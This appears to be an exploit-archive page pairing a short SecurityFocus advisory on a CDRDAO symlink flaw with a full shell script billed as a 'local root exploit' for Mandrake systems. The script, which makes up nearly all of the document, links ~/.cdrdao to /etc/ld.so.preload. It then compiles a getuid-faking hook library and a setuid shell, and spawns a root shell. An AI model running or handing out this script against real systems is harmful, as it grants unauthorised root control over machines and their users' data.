104 lines
No EOL
2.6 KiB
Bash
Executable file
104 lines
No EOL
2.6 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/3865/info
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CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
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When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.
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#!/bin/sh
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# cdrdao local root exploit
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# newbug [at] chroot.org
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# IRC: irc.chroot.org #chroot
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# May 2005
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echo "cdrdao private exploit"
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echo "This exploit only for Mandrake series"
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echo "newbug [at] chroot.org"
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echo "May 2005"
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echo "checking if cdrdao is setuid ...";
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if [ ! -u /usr/bin/cdrdao ]; then
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echo "[-] Failed";
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exit
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fi
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echo "[+] done.";
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echo "checking if /etc/ld.so.preload already exist ..."
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if [ -f /etc/ld.so.preload ]; then
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echo "[-] Failed."
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exit
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else
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echo "[+] done."
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fi
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echo "checking if ~/.cdrdao already exist ..."
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if [ -f ~/.cdrdao ]; then
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rm -rf ~/.cdrdao
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fi
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echo "[+] done."
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cd /tmp
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echo "preparing hook library ..."
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cat >ld.so.c<<EOF
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#include <stdlib.h>
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uid_t getuid()
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{
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return 0;
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}
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EOF
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echo "[+] done."
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echo "preparing shell program ..."
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cat >sh.c <<EOF
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#include <stdio.h>
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#include <unistd.h>
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int main(int argc,char **argv)
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{
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setreuid(0,0);
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setgid(0);
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unlink("/tmp/ld.so");
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if(getuid())
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{
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printf("[-] Failed.\n");
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unlink(argv[0]);
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exit(0);
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}
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printf("[+] Congratulation, You win the game !!\n");
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unlink("/etc/ld.so.preload");
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execl("/bin/bash","bash",(char *)0);
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return 0;
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}
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EOF
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echo "[+] done."
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echo "link .cdrdao ==> /etc/ld.so.preload ..."
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ln -sf /etc/ld.so.preload ~/.cdrdao
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echo "[+] done."
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echo "compile hook library ..."
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gcc -shared -o ld.so ld.so.c
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echo "[+] done."
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echo "compile shell program ..."
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gcc -o sh sh.c
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echo "[+] done."
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umask 0
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echo "run cdrdao ..."
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cdrdao unlock --save >/dev/null 2>&1
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echo "[+] done."
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echo "checking if /etc/ld.so.preload created successful..."
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if [ -f /etc/ld.so.preload ]; then
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echo "[+] done."
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else
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echo "[-] Failed."
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exit
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fi
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echo "/tmp/ld.so">/etc/ld.so.preload
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rm -f /tmp/sh.c
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rm -f /tmp/ld.so.c
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su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
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echo "!@#\$@%#$%#$%!@%^"
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/tmp/sh |